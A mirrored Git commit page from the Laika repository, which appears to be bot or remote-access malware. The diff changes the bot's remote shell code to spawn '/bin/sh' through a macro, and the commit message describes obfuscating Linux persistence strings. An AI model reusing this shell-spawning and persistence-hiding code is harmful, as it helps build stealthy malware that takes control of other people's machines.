mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-26 21:30:19 +00:00
Implemented VMBoxes, linux persistence related strings are obfuscated, added VMBoxGen tool
- lboxconfig.h holds obfuscated data, which is generated by VMBoxGen - linpersist.c now uses obfuscated strings
This commit is contained in:
@@ -13,6 +13,8 @@
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
#define LAIKA_LINSHELL_PATH "/bin/sh"
|
||||
|
||||
struct sLaika_RAWshell {
|
||||
struct sLaika_shell _shell;
|
||||
int pid;
|
||||
@@ -30,7 +32,7 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
||||
|
||||
if (shell->pid == 0) {
|
||||
/* child process, clone & run shell */
|
||||
execlp("/bin/sh", "sh", (char*) NULL);
|
||||
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user